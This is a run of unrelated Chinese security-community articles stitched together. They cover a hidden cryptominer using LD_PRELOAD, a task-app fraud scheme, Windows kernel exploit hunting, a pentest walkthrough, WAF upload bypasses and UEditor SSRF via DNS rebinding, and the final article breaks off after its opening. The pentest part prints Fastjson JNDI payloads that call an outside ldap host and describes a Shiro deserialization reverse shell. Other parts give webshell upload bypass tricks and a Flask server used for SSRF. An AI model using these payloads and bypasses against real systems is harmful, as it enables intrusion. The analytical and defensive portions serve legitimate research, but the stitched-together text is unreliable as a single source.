云鼎实验室曾分析不少入侵挖矿案例，研究发现入侵挖矿行为都比较粗暴简单，通过 top
等命令可以直接看到恶意进程，挖矿进程不会被刻意隐藏；而现在，我们发现黑客开始不断使用一些隐藏手段去隐藏挖矿进程而使它获得更久存活，今天分析的内容是我们过去一个月内捕获的一起入侵挖矿事件。
#### 二、入侵分析
本次捕获案例的入侵流程与以往相比，没有特殊的地方，也是利用通用漏洞入侵服务器并获得相关权限，从而植入挖矿程序再进行隐藏。
通过对几个案例的分析，我们发现黑客主要是利用 Redis
未授权访问问题进行入侵，对于该问题的说明可以参考我们过去做的一些[分析](https://paper.seebug.org/605/ "分析")。
在服务器被入侵后，首先可以明显感觉到服务器的资源被占用而导致的操作迟缓等问题，通过一些常规手段可以发现一些异常信息，但又看不到进程信息：
通过 top 命令，可以看到显示的 CPU 使用率较低，但 ni 值为 100 ；同时通过 /proc/stat 计算 CPU 使用率又基本是 100% 。
通过 netstat 查看端口监听情况，也可以看到异常的连接。
通过在 Virustotal 查询 IP，可以看到 DNS 指向为矿池域名。
通过 find 命令查找入侵时间范围内变更的文件，对变更文件的排查，同时对相关文件进行分析，基本可以确认黑客使用的进程隐藏手法。
在变更文件里可以看到一些挖矿程序，同时 /etc/ld.so.preload 文件的变更需要引起注意，这里涉及到 Linux
动态链接库预加载机制，是一种常用的进程隐藏方法，而 top 等命令都是受这个机制影响的。
> 在 Linux 操作系统的动态链接库加载过程中，动态链接器会读取 LD_PRELOAD 环境变量的值和默认配置文件 /etc/ld.so.preload
> 的文件内容，并将读取到的动态链接库进行预加载，即使程序不依赖这些动态链接库，LD_PRELOAD 环境变量和 /etc/ld.so.preload
> 配置文件中指定的动态链接库依然会被装载，它们的优先级比 LD_LIBRARY_PATH
> 环境变量所定义的链接库查找路径的文件优先级要高，所以能够提前于用户调用的动态库载入。
>
> ——段落引自《警惕利用 Linux 预加载型恶意动态链接库的后门》
通过查看文件内容，可以看到加载一个 .so 文件：`/usr/local/lib/libjdk.so`
而这个文件也在文件变更列表里。
我们通过查看启动的相关进程的 maps 信息，也可以看到相关预加载的内容：
通过对 libjdk.so 的逆向分析，我们可以确认其主要功能就是过滤了挖矿进程，具体可见下文分析。
在知道了黑客使用的隐藏手法后，直接编辑 /etc/ld.so.preload 文件去掉相关内容，然后再通过 top 命令即可看到挖矿进程：
通过查看 /proc/ 下进程信息可以找到位置，看到相关文件，直接进行清理即可：
继续分析变更的文件，还能看到相关文件也被变更，比如黑客通过修改 /etc/rc.d/init.d/network 文件来进行启动：
同时修改 /etc/resolv.conf ：
还修改了 HOSTS 文件，猜测是屏蔽其他挖矿程序和黑客入侵：
同时增加了防火墙规则：
查询 IP 可以看到是一个国外 IP ：
#### 三、样本分析
通过对样本逆向分析，发现样本 libjdk.so 主要是 Hook 了 readdir 和 readdir64 两个函数：
对应修改后的readdir函数结构如下（readdir64函数也是类似的）：
get_dir_name 函数结构：
get_proces_name 函数结构：
process_to_filter 常量定义如下：
整个函数功能结合来看就是判断如果读取目录为 /proc，那么遍历的过程中如果进程名为 x7，则过滤，而 x7 就是挖矿进程名。 而类似于 top、ps
等命令在显示进程列表的时候就是调用的 readdir 方法遍历 /proc 目录，于是挖矿进程 x7 就被过滤而没有出现在进程列表里。
#### 四、附录
IOCs：
样本
1. 4000dc2d00cb1d74a1666a2add2d9502
2. 8bd15b2d48a051d6b39d4c1ffaa25026
3. e2a72c601ad1df9475e75720ed1cf6bf
4. d6cee2c684ff49f7cc9d0a0162b67a8d
矿池地址
1. xmr-asia1.nanopool.org:14433
2. 123.56.154.87:14444
钱包地址
42im1KxfTw2Sxa716eKkQAcJpS6cwqkGaHHGnnUAcdDhG2NJhqEF1nNRwjkBsYDJQtDkLCTPehfDC4zjMy5hefT81Xk2h7V.v7
相关链接：
1. <https://mp.weixin.qq.com/s/inazTPN5mHJYnt2QDliv8w>
2. <https://cloud.tencent.com/product/hs>
* * * | 社区文章 |
# 网红坐拥百万粉丝是真的红吗？看穿虚假繁荣
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
网红成为移动互联网时代的代名词，人人都想一夜“爆红”。在一些短视频平台上，坐拥成百上千万粉丝的网红比比皆是。而此些网红的背后，不乏众多流量造假推手。网赚项目与短视频相结合，产生了众多的短视频悬赏/任务平台，用户看重了任务平台高额的佣金，任务平台看中了用户手里的会员费。近期，360手机先赔收到用户反馈，在“爱分享”（短视频悬赏/任务平台）平台受骗。
## 案例经过
用户收到好友发来的 **“爱分享”**
邀请链接，随后安装了这款兼职赚钱类的应用APP。“爱分享”其主要的功能为给抖音里的视频点赞，然后将点赞关注后截图上传至“爱分享”，获得任务佣金。
非会员每天只能领取3次任务，且无法提现。若要提现，则需要充值成为会员。 **根据会员等级的不同，每日任务次数不同，收费标准不同**
。用户充值2000元，成为平台巨星会员后，前期获得了收益，后期平台关闭，得知受骗。
## “爱分享”APP的玩法分析
**“爱分享”任务分类**
任务中包含的抖音（点赞、关注、评论），用户点击任务后，会跳转至抖音平台，用户完成点赞、关注、评论后，将界面截图并上传至爱分享，即可完成任务操作，每单获得1.8元收益。
**“爱分享”会员**
**非会员每天只能领取3次任务，且无法提现。若要提现，则需要充值成为会员。**
n根据会员等级的不同，每日任务次数不同，收费标准不同，分为主播、网红、明星、巨星不同等级的会员。
n会员不同，每日可领取的任务数量不同，等级越高，每天可领取的任务数量越多，获得的邀请他人注册奖励也不同。
例如：充值2000元，成为巨星会员，每日可领取73次任务。邀请他人注册为主播会员，可获得54元奖励。
**任务收益**
1、静态收益： **参与平台的任务获得的收益，** 例如：抖音点赞、关注任务，每单1.8元
2、动态收益：三级推广获得佣金，用户 **邀请他人注册并充值成为会员，可获得佣金分红** 。此人再邀请他人注册并充值成为会员可获得二级佣金。
**“爱分享”充值方式**
人工充值需要用户下载叮叮聊APP（聊天软件），用户添加指定的叮叮聊账号（爱分享客服），对方会给用户发送充值收款账户。
##
## 安全课堂
抖音短视频的兴起，带起了一批流量网红，其背后则是众多“短视频悬赏/任务平台“所带来的大量“僵死“账号。对于短视频平台而言，“刷量、刷粉”除了可能影响平台制定正确的经营策略以外，也可能对平台业务造成影响。
由于短视频悬赏/任务平台的兴起，诈骗团伙也进入其中，利用资金盘的套路，骗取用户资金。 **资金盘类骗局，其本质就是”空手套白狼”，**
利用新投资者的钱向老投资者支付利息和短期回报，短期看起来有盈利的假象，但结局都是步入死循环继而崩盘跑路。 | 社区文章 |
# 猫鼠游戏：Windows内核提权样本狩猎思路分享
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 背景
随着Windows平台的几大主流浏览器(Chrome, Edge, IE)和文字处理软件(Office, Adobe
Reader)相继引入沙箱机制，Windows内核提权漏洞的需求也随之上升。在这个背景下，近几年披露的Windows内核提权0day攻击事件也居于高位。下表展示了2017年-2021年(至今)全球范围内披露的Windows内核提权在野0day编号及对应的披露厂商，从表中可以直观地感受到上述现象。
统计 | 披露年份 | CVE编号 | 漏洞模块 | 披露厂商
---|---|---|---|---
2 | 2017 | CVE-2017-0005 | win32k | Lockheed Martin
2017 | CVE-2017-0263 | win32k | FireEye, ESET
4 | 2018 | CVE-2018-8120 | win32k | ESET
2018 | CVE-2018-8453 | win32k | Kaspersky
2018 | CVE-2018-8589 | win32k | Kaspersky
2018 | CVE-2018-8611 | nt/tm | Kaspersky
6 | 2019 | CVE-2019-0797 | win32k | Kaspersky
2019 | CVE-2019-0803 | win32k | Alibaba
2019 | CVE-2019-0808 | win32k | Google
2019 | CVE-2019-0859 | win32k | Kaspersky
2019 | CVE-2019-1132 | win32k | ESET
2019 | CVE-2019-1458 | win32k | Kaspersky
3 | 2020 | CVE-2020-0938 | atmfd | Google
2020 | CVE-2020-1027 | sxssrv | Google
2020 | CVE-2020-17087 | cng | Google
1(截止3月) | 2021 | CVE-2021-1732 | win32k | DBAPPSecurity(安恒信息)
这些Windows内核提权零日漏洞成本高昂，因此其背后一般都是水平高超或实力雄厚的APT组织。对威胁情报部门来说，如何有效狩猎这些在野的Windows内核提权漏洞样本已经变为一个需要深入思考的问题。
关于这个问题，Kaspersky作为Windows内核提权0day狩猎方面的先行者，已经公开分享过一些他们在这方面的经验；CheckPoint在最近半年也分享了3篇关于内核提权样本狩猎的研究文章，非常值得学习(对这些资料的引用将会列举在本文的最后，供读者参考)。
本文将分享安恒威胁情报中心猎影实验室在这方面的一些思考，讨论侧重点为内存破坏类内核提权漏洞，这一块我们尚处在摸索阶段，不足之处敬请斧正。
## 0x02 内存破坏类内核提权漏洞
内存破坏类内核提权漏洞一般由C/C++语言的不安全操作引发，最为常见的是win32k组件中由于Callback机制导致的UAF漏洞。
### **为什么win32k组件容易出问题？**
为什么win32k组件中的UAF漏洞这么多？这要从Windows
NT的设计历史说起。在Windows操作系统设计初期，win32k子系统是在用户态的(实线的上半部分)，如下：
但从Windows NT4开始，这部分代码被移到了内核态(实线的下半部分)，内核态新增了一个win32k.sys模块：
上述重新设计引入了如下3个不安全因素：
1. 新的系统调用 (1100+ syscalls)
2. 用户模式回调 (User-mode Callback)
3. 用户态和内核态之间的共享数据 (Shared data)
重新设计后，上述3点都可能引发新的安全漏洞，Windows内核团队也意识到了这几点，所以针对性地进行了加固，但安全研究人员还是不断从中找出安全漏洞。
在2011年Blackhat USA大会上，Tarjei Mandt公开了他对Win32k User-Mode
Callback机制的研究成果，从此大量研究人员开始关注win32k模块中的User-Mode
Callback攻击面，并发现了许多新的win32k模块UAF漏洞。
## 0x03 如何狩猎内核提权利用样本
有过漏洞研究基础的同学都知道，一个典型的漏洞利用过程大概有这几个环节：
1. 触发漏洞
2. 堆喷射(非必需)
3. 信息泄露
4. 构造读写原语
5. 代码执行
我们可以从上述每一个阶段入手，分别思考一下每一阶段潜在的一些狩猎点。
### **触发漏洞阶段**
静态层面，首先，我们可以检查PE文件的导入表中是否导入了user32.dll中的下面几个函数，因为大部分win32k漏洞利用都需要创建窗口或菜单：
1. CreateWindowExA / CreateWindowExW
2. RegisterClassExA / RegisterClassExW
3. DestroyWindow
4. CreateMenu
5. CreatePopupMenu
其次，Win32k User-Mode Callback漏洞一定存在Hook回调表的操作，这是一个可疑行为(64位样本会存在和下面很像的一个代码片段)：
mov rax, gs:[60h]
lea rax, [rax+58h]
mov rax, [rax]
ret
动态层面，对于UAF漏洞和部分越界读写漏洞，可以通过开启Driver Virifier进行检测，UAF漏洞样本在开启Driver
Virifier的环境中会触发蓝屏异常，判定0day最简单的标准就是：
1. 全补丁环境蓝屏 = 0day
当然，有一些内存破坏类内核提权漏洞无法通过Driver Virifier检测到，一个典型例子就是我们捕获的CVE-2021-1732。
### **堆喷射阶段(非必须)**
堆喷射阶段变化比较多，可以创建多个Windows或多个Bitmaps，例如CVE-2018-8453的在野利用；也可以创建多个加速表(CreateAcceleratorTable)，例如CVE-2017-8465的开源利用代码；也可以创建多个tagCLS结构，比如《LPE
vulnerabilities exploitation on Windows 10 Anniversary Update》这个PPT第36页提出的方法。
### **信息泄露阶段**
关于Windows内核信息泄露技巧，Github上有一个项目(项目地址列举在文末)总结得较为完整。项目中有一张表格，该表格详细列出了Windows内核信息泄露的各种技巧，并且通过不同的图标展示了这些技巧在各版本Windows操作系统中的可用性。
这张表格只将操作系统写到Windows 1703(Redstone
2)，但仅根据表格内信息我们也可发现：只有HMValidateHandle这一技巧一直稳定存在(从1803开始也进行了缓解)。
静态层面，我们可以通过查找HMValidateHandle的代码特征来发现内核信息泄露的线索。以下是一段查找HMValidateHandle的典型代码，如果在静态分析时遇到类似代码片段，就应值得留意：
PVOID find_HMValidateHandle(PVOID pIsMenu)
{
ULONG HMValidateHandleAddr = 0;
while (TRUE)
{
if (*(BYTE*)pIsMenu == 0xE8)
{
HMValidateHandleAddr = *(DWORD*)((ULONG)pIsMenu + 1);
HMValidateHandleAddr += (ULONG)pIsMenu + 0x05 - 0x100000000;
return (PVOID)HMValidateHandleAddr;
}
pIsMenu = (BYTE*)pIsMenu + 1;
}
return 0;
}
动态分析层面，由于HMValidateHandle是一个未导出函数，系统在正常调用这个函数时，对其调用的地址来自user32.dll内部；但当这个函数被用于信息泄露时，对其调用的地址位于漏洞利用模块，这个地址并不位于user32.dll模块。我们可以借助这一原理进行运行时检测：将来自user32.dll外的对HMValidateHandle的调用标记为可疑行为并记录。这方面已经有国外的研究员做了样例，一并列举在文末。
### **构造读写原语阶段**
在Windows内核利用的历史中，相继有操作tagWND，Bitmap，Palette，Menu等相关结构体的API登场，发展到现在，已经公开且还没有被完全缓解的任意地址读写原语辅助函数已经只剩SetWindowLong*系列函数和Menu相关函数，所以查看导入表中是否有user32.dll中的下面几个函数是一种思路：
1. SetWindowLongA / SetWindowLongW
2. SetWindowLongPtrA / SetWindowLongPtrW
3. GetMenuItemRect / SetMenuItemInfo
4. GetMenuBarInfo (CVE-2021-1732在野利用中首次发现)
除了上述API，早期版本的一些利用代码还可以包括下面这些导入函数：
1. GetBitmapBits / SetBitmapBits / CreateCompatibleBitmap / CreateBitmapIndirect / CreateDiscardableBitmap / CreateDIBitmap
2. GetPaletteEntries / SetPaletteEntries
3. SetWindowTextA / SetWindowTextW / InternalGetWindowText
4. NtUserDefSetText
### **代码执行阶段**
对于Windows内核提权漏洞而言，其主要目的是为了提升权限，而提升权限的主要手法就是进行Token替换，因此可以通过以下几个特征点进行检查：
1. 在实现任意地址读写原语后，是否有借助泄露的内核地址进行结构查找的操作，例如遍历EPROCESS链
2. 在合适的时间点(如当前进程退出前)检查当前的进程的Token是否已被替换为其他高权限进程(例如System进程)的Token，或者查看当前进程创建的子进程的Token是否为System权限
## 0x04 Windows内核漏洞利用攻防史
Windows内核团队和漏洞缓解团队一直致力于减少Windows内核的漏洞&利用攻击面，简单了解Windows系统中的内核安全攻防时间线有助于我们对Windows内核利用历史的了解和对Windows内核利用趋势的预测，这些对狩猎都有帮助。
### **Windows 7**
1. KASLR
2. 需要额外的内核信息泄露来绕过KASLR
3. 绕过方式：https[:]//github.com/sam-b/windows_kernel_address_leaks
### **Windows 8.1**
1. SMEP (Supervisor Mode Execution Prevention)
2. 需要处理器支持(2011年引入)， CR4寄存器的第20位作为开关
3. 当CPU处于Ring0模式时，如果执行了Ring3的代码，就会触发页错误
4. **绕过方式：CVE-2015-2360 Duqu 2.0在野利用样本**
5. 禁止使用0地址页
6. 之前的内核空指针引用漏洞利用方式：申请0地址，借助0地址进行任意地址读写
7. 之后的内核空指针引用漏洞利用：0地址页无法申请，无法完成利用，例如CVE-2018-8120不能在Windows 8及以上版本进行利用
### **Windows 10 1607 (Redstone 1)**
1. 提升Bypass KASLR的难度
2. 将GDI_CELL结构的pKernelAddress成员置为空，通过GdiSharedHandleTable进行内核信息泄露的方式被缓解
3. 缓解通过SetWindowText操纵tagWND.strName进行任意内核地址读写的利用方式
4. 限制tagWND.strName指针只能指向桌面堆 (缓解CVE-2015-2360和CVE-2016-7255这两个漏洞的在野利用方式)
5. 将字体解析模块拆为独立组件，并将其权限限制为AppContainer
6. 缓解win32k字体解析类提权漏洞，限制这类漏洞利用过程中的文件读写(缓解CVE-2016-7256和CVE-2020-0938这些字体漏洞的在Windows 10上的利用)
### **Windows 10 1703 (Redstone 2)**
1. 提升Bypass KASLR的难度
2. 缓解通过gSharedInfo进行pvScan0内核指针信息泄露的方式
3. 缓解通过桌面堆进行内核信息泄露的方式：Win32ClientInfo结构体内的ulClientDelta指针被移除，无法再通过ulClientDelta进行内核信息泄露
4. 缓解借助tagWND构造任意地址读写原语的方式
5. SetWindowLongPtr操作的ExtraBytes内存指针被移到用户态，无法再借助它对tagWND.strName进行修改
6. 缓解借助Bitmap进行利用的方式
7. Bitmap对象头部大小增加了8字节
### **Windows 10 1709 (Redstone 3)**
1. Win32k Type Isolation for Bitmap：将Bitmap header与Bitmap data分开
2. 进一步缓解借助Bitmap对象构造任意地址读写原语的方式
3. 绕过方式：借助Palette对象构造任意地址读写原语，参考《Demystifying Windows Kernel Exploitation by Abusing GDI Objects》
### **Windows 10 1803 (Redstone 4)**
1. Win32k Type Isolation for Palette
2. 缓解借助Palette对象构造任意地址读写原语的方式
3. **绕过Type Isolation缓解措施的提权样本：CVE-2018-8453在野利用样本，** 具体细节参考《Overview of the latest Windows OS kernel exploits found in the wild》
4. 缓解通过HMValidateHandle进行内核信息泄露的方式
5. 通过HMValidateHandle泄露的内核tagWND副本中，相关指针值不复存在
### **Windows 10 1809 (Redstone 5)**
1. 继续提升Bypass KASLR的难度
2. 创建多个桌面堆，对相关API进行大幅修改
3. 绕过方式：用一种新的方式泄漏并计算包含内核模式指针的对象的绝对地址，可参考《DEVELOPMENT OF A NEW WINDOWS 10 KASLR BYPASS (IN ONE WINDBG COMMAND)》这篇文章
### **Windows 10 1903**
1. 进一步缓解内核漏洞利用的攻击面
2. **绕过方式：CVE-2021-1732在野利用样本，** 借助spmenu进行内核信息泄露，借助GetMenuBarInfo/SetWindowLong函数实现任意地址读写，可在最新版Windows 20H2系统上完成利用
## 0x05 主流浏览器与win32k漏洞的攻防史
### **Chrome/Edge(Chromium-based)**
1. Win32k Lockdown
2. Chrome于2016年首先引入，在Chrome+Windows 8.1及以上环境中禁止调用win32k模块的API
3. 绕过方式：采用win32k模块以外的内核漏洞，例如CVE-2018-8611和CVE-2020-17087这类在野利用样本
### **Edge(Chakra)**
1. Win32k System Call Filter
2. Windows 8.1开始支持
3. 限制对部分win32k API进行调用：在RS3中Edge可以调用349个win32k API；而在RS4中，Edge能调用的win32k API数量减少为78个，所有GDI对象都无法在Edge中创建
4. 绕过方式：使用那些没有被过滤的win32k API的漏洞，例如DirectX漏洞，可以参考《Subverting Direct X Kernel For Gaining Remote System》
## 0x06 Windows内核提权漏洞趋势预测
1. Windows 10上的内核漏洞挖掘难度也许变化不大，但利用难度已经变得非常大
2. 主流浏览器/文档处理软件相继引入Sandbox机制，APT组织对沙箱逃逸/提权漏洞的需求会越来越大
3. 传统的win32k组件内核提权漏洞逐渐被主流浏览器拒之门外
4. 非win32k模块内核提权漏洞的需求在APT市场上会继续增加，但成本会越来越高，类似CVE-2018-8611这种高度复杂漏洞利用接下来还会出现
5. 逻辑类提权漏洞的数量会稍有增加(作为内存破坏类漏洞的替代品)
6. 浏览器自身组件的沙箱逃逸漏洞数量也会增加，这类漏洞是浏览器自己的漏洞，但也可以实现沙箱逃，可以从Low提权到Medium，比如Chrome Mojo组件的沙箱逃逸漏洞和Windows打印机提权漏洞
更多内容请前往微信公众号： **安恒威胁情报中心**
**安恒威胁情报中心介绍**
安恒威胁情报中心汇聚了海量威胁情报，支持多点渠道数据输入，支持自动情报数据产出，能实现网络安全的高效赋能。平台使用者可通过自定义策略进行威胁监控、威胁狩猎，并对输入数据进行自动化的生产加工，同时支持人工分析团队对情报进行复核整理。 | 社区文章 |
## 前言
某天上午照常被上级拉到新建的工作群里，开始了一天的渗透测试（浑水摸鱼）。不出意外这次的目标还是App，而且还是金融类的，自上个项目遭受某银行App的毒打之后，内心就对金融类App充满了抵触与恐惧，当前这次也不例外。怀揣着无比失落的心情开始了一天的工作，果不其然，此App通信的请求与响应包都经过了加密处理，就比如下面这样，但一看到端口是7002，抱着试试看的心态，遂有此文。
## Weblogic弱口令
从请求包中看到了7002端口，感觉大概率是Weblogic，访问了一下果然出现了熟悉的页面，随手输个console就来到了登录页面，因为最近爆的Weblogic漏洞属实有点多，自己竟然没有第一时间去试试弱口令，导致在这个阶段浪费了很多不必要的时间，尝试了[2551](https://github.com/Y4er/CVE-2020-2551)、[2883](https://github.com/Y4er/CVE-2020-2883)均没有成功，最后询问@Y4er师傅才明白原来10.3.6.0版本的那个jar包根本没有用上。就在打算放弃的时候，weblogic/weblogic123诚不欺我。
## Getshell
都进入Weblogic后台了，直接部署war包getshell，这儿就不细说了，免得浪费师傅们的宝贵时间。
## Fastjson远程命令执行
在Weblogic管理界面可以看到管理员部署了两个站点，在服务器上找到两个站点对应的war包下载到本地进行查看。首先查看第一个站点的lib目录下引用了哪些jar包，fastjson映入眼帘，而且还是1.1.39版本，加上找到了开发为了测试网站各个功能点而留下的debug页面，不禁窃喜。
开始漏洞利用，这里使用1.2.47版本的payload并没有打成功
1.2.47
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://dnslog","autoCommit":true}}}
但是换了1.2.45版本的payload却可以，这是我当时没有想明白的地方，有知道的师傅还请不吝赐教
1.2.45
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://dnslog"}}
## 任意文件上传
还是第一个站点，这儿大致看了看文件上传的代码，看到并没有任何过滤，找到文件上传的方法（/file/upload.do）,构造数据包进行上传
可以看到确实上传成功了，但是没有返回路径，再返回源码仔细一看，原来上传的文件被传到临时目录/temp下了，空欢喜一场
## 后台弱口令
这里开始看第二个站点，在Weblogic后台管理页面查到该war包部署的上下文，直接访问后是个登录页面，此时根据配置文件里数据库的相关信息去连接数据库，连上以后发现数据库里的数据都经过了加密处理。无奈只好继续翻翻其他配置文件，终于在Oracle目录下找到一些很久之前的sql文件，发现里面数据并不多，感觉是当时作测试用的
找到admin用户去解md5，结果竟然是admin123，顿时语塞
## SQL注入
进入后台后最先看到的就是这个搜索框，出于职业习惯，随手输个单引号试试
真是按捺不住此时激动的心情，又可以凑漏洞数了，掏出payload直接淦
## Shiro反序列化命令执行
接着第二个站点，还是老套路，点开lib目录看依赖，这次映入眼帘的是Shiro，同样也是低版本的，二话不说找到工具一把梭，很快就跑到了Key，使用的是默认秘钥，但是却找不到有效的利用链，这是怎么回事呢？
再回过头来看源码，发现shiro确实是低版本，并且Key也可以找到。这时候才看到commons-beanutils的版本是1.8.3，但是ysoserial里CommonsBeanutils1所依赖的commons-beanutils版本是1.9.2，所以一直打不成功
修改ysoserial里commons-beanutils的版本为1.8.3并重新打包，利用CommonsBeanutils1成功反弹shell
## 后记
本文并没有太多技术亮点，都是一些基本操作，之所以记录下来是因为感觉在目前这个大环境下，能碰到此类目标实属万幸。文中措词不当之处还望各位大师傅们见谅，祝各位师傅天天都打这种站。 | 社区文章 |
#### waf拦截
在打某市 Hvv 第一天就找到一个文件上传的点，经过测试，可以直接任意文件上传，没有什么道理。
直接尝试上传 Php 文件，被 waf 拦截了
不知道这是哪家的waf,知道的师傅可以说下
尝试了一系列的绕过，发现利用换行+chunk 可以过后缀
之后就要过内容检测的 waf，但是在这里死活过不去
Webshell内容+chunk编码过后缀 会提示 502
之后尝试上传 txt，想先看看能不能先绕过内容检测，发现这个 waf 检测不能同时存在<? 和 ()
如<?phpinfo(); 这种语句，就会被拦截。因为他同时出现了<?和 ()
如果你的内容检测没有同时出现()和<?时，就可以过内容检测,不知道市面上有没有这种类型的webshell,我找了一圈好像都有。
#### host碰撞绕过
该站点为某个单位的类似官网的站点，然后网站有超链接，该超链接定向跳转到某些ip
因为这种单位很喜欢将自己的服务器部署在C段的分散的IP上，于是猜测，这个类似官网网站的站点也很有可能就搭建在这个超链接的C段上，我们不妨 host
碰撞一下，如果找到了真实IP的话，那么久可能绕过云 waf
于是直接用 host 碰撞的 py 脚本去碰撞一下该C段IP，发现居然成功了。
直接修改Target为碰撞出来的真实IP，之后就不用 chunk +后缀换行也能过后缀waf拦截了（需要换行，不用chunk）。
但是这里内容检测还是过不了，但是不会显示云 waf 地址或者 502了，猜测肯定是过了 cdn， 但是不知道是什么拦截住了（可能为本地的硬件防火墙）
#### content-Encoding绕过
于是翻了翻笔记，找到以前屡试不爽的上传 Tips ————添加 Accept-Encoding: deflate
发现这种方法已经过时了，换成 Accept-Encoding: gzip 发现还是过不了这个拦截
在http协议中，可以对内容（也就是body部分）进行编码，
可以采用gzip这样的编码。从而达到压缩的目的。也可以使用其他的编码把内容搅乱或加密，以此来防止未授权的第三方看到文档的内容。
Accept-Encoding——浏览器发给服务器,声明浏览器（客户端）支持的编码类型。
当服务端接收到请求，并且从header里拿到编码标识时，就可以选择其中一种方式来进行编码压缩，然后返给客户端。
发现还有一个 header 字段 Content-Encoding 这个字段大概意思是：决定文件接收方将以什么形式、什么编码读取这个文件，指定服务器响应的
HTTP 内容类型。
一般来说：
Accept-Encoding设置在请求头当中，会告诉服务器，我可以接受哪种编码压缩。
Content-Encoding设置在响应头中，会告诉客户端，我用的是哪种编码压缩。但是也可以放在Header头上
看说了这么多我们也不懂啊，我们大概可以理解它的本质，这两个header头都会影响服务器对于数据内容的传输格式类型（压缩算法）。
大家也可以看看下这个文章
<https://www.cnblogs.com/xuzhudong/p/8486761.html>
尝试了一下，发现content-Encoding居然可以绕过
如果没找到真实IP，这样也是过不了的。
之后就可以直接上传了。但是后来发现该服务器的 disable_function 贼难绕，这是后话了。
总 结：
1、通 过 host 碰 撞 找 到 真 实 IP 绕 过 云 waf(fofa 这 种 是 搜 不 到 真 实 IP 的)
2、Content-Encoding=deflate 绕过本地防火墙内容检测
**gzip 也是能绕的** | 社区文章 |
现在都没人收Ueditor的洞了么？都只能赚稿费...
### 代码分析
一般请求的url如下，其中source为数组，值为图片地址:
http://lemon.i/code-src/editor/ueditor/php/controller.php?action=catchimage&source[]=https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/img/logo_top_86d58ae1.png
主要跟踪这段代码: `/php/Uploader.class.php:173`
private function saveRemote()
{
$imgUrl = htmlspecialchars($this->fileField);
$imgUrl = str_replace("&", "&", $imgUrl);
//http开头验证
if (strpos($imgUrl, "http") !== 0) {
$this->stateInfo = $this->getStateInfo("ERROR_HTTP_LINK");
return;
}
preg_match('/(^https*:\/\/[^:\/]+)/', $imgUrl, $matches);
$host_with_protocol = count($matches) > 1 ? $matches[1] : '';
// 判断是否是合法 url
if (!filter_var($host_with_protocol, FILTER_VALIDATE_URL)) {
$this->stateInfo = $this->getStateInfo("INVALID_URL");
return;
}
preg_match('/^https*:\/\/(.+)/', $host_with_protocol, $matches);
$host_without_protocol = count($matches) > 1 ? $matches[1] : '';
// 此时提取出来的可能是 ip 也有可能是域名，先获取 ip
$ip = gethostbyname($host_without_protocol);
// 判断是否是私有 ip
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)) {
$this->stateInfo = $this->getStateInfo("INVALID_IP");
return;
}
//获取请求头并检测死链
$heads = get_headers($imgUrl, 1);
if (!(stristr($heads[0], "200") && stristr($heads[0], "OK"))) {
$this->stateInfo = $this->getStateInfo("ERROR_DEAD_LINK");
return;
}
//格式验证(扩展名验证和Content-Type验证)
$fileType = strtolower(strrchr($imgUrl, '.'));
if (!in_array($fileType, $this->config['allowFiles']) || !isset($heads['Content-Type']) || !stristr($heads['Content-Type'], "image")) {
$this->stateInfo = $this->getStateInfo("ERROR_HTTP_CONTENTTYPE");
return;
}
//打开输出缓冲区并获取远程图片
ob_start();
$context = stream_context_create(
array('http' => array(
'follow_location' => false // don't follow redirects
))
);
readfile($imgUrl, false, $context);
$img = ob_get_contents();
ob_end_clean();
...省略
}
整个流程大概如下:
1、判断是否是合法http的url地址
2、利用gethostbyname来解析判断是否是内网IP
3、利用get_headers进行http请求，来判断请求的图片资源是否正确，比如状态码为200、响应content-type是否为image
(SSRF漏洞触发处)
4、最终用readfile来进行最后的资源获取，来获取图片内容
所以在利用DNS重绑定时候，我们可以这样做
第一次请求 -> 外网ip
第二次请求 -> 内网ip
第三次请求 -> 内网ip
### 1.4.3.3 DNS重绑定利用过程
其实单纯的第二次就已经有了HTTP请求，所以可以很容易的进行一些攻击.
lemon.i/code-src/editor/ueditor/php/controller.php?action=catchimage&source[]=http://my.ip/?aaa=1%26logo.png
其中my.ip设置了重绑定
第一次dns请求是调用了gethostbyname函数 -> 外网ip
第二次dns请求是调用了get_headers函数 -> 内网ip
其中返回内容state为`链接contentType不正确`，表示请求成功了!
如果返回为`非法 IP`则表示DNS重绑定时候第一次是为内网IP，这时需要调整一下绑定顺序.
* * *
但是会剩一个问题就是: 能不能获取到SSRF请求后的回显内容!
第三个请求便可以做到，因为会将请求的内容保存为图片，我们获取图片内容即可.
但是得先把第二次请求限制绕过
!(stristr($heads[0], "200") && stristr($heads[0], "OK"))
!in_array($fileType, $this->config['allowFiles']) || !isset($heads['Content-Type']) || !stristr($heads['Content-Type'], "image")
这两个条件语句也就是限定了请求得需要为200状态、并且响应头的content-type是image
所以第二次请求最好是我们可控的服务器，这样才能绕过它的限制.
所以在利用DNS重绑定时候，我们可以这样做
第一次请求 -> 外网ip
第二次请求 -> 外网ip (外网server)
第三次请求 -> 内网ip (内网攻击地址)
第二次请求的外网server需要定制一下，也就任何请求都返回200，并且content-type为image
from flask import Flask, Response
from werkzeug.routing import BaseConverter
class Regex_url(BaseConverter):
def __init__(self,url_map,*args):
super(Regex_url,self).__init__(url_map)
self.regex = args[0]
app = Flask(__name__)
app.url_map.converters['re'] = Regex_url
@app.route('/<re(".*?"):tmp>')
def test(tmp):
image = 'Test'
#image = file("demo.jpg")
resp = Response(image, mimetype="image/jpeg")
return resp
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80)
* * *
上面的都是一些理论的说明，事实上，有些DNS会存在缓存问题，导致出现出现结果很不稳定。
第一步: 搭建后外网的server，左边的为第二次请求(外网)，右边为第三次请求(内网)
第二步: 进行请求，其中网址是有dns重绑定
第三步: 可以根据返回的图片地址，请求后便可以获取到内网web的ssrf的响应内容 | 社区文章 |
## 一: 前言:
有朋友问我近段日子做了些什么工作，作为安全研究员或者漏洞分析者最基础的工作之一，最近写了不少漏洞验证和利用的`POC&EXP`。所以就想结合下自己的经验和体会，分享下正确编写`漏洞验证`和`漏洞利用`代码的一些心得以及编写代码时需要避免的一些常见错误。
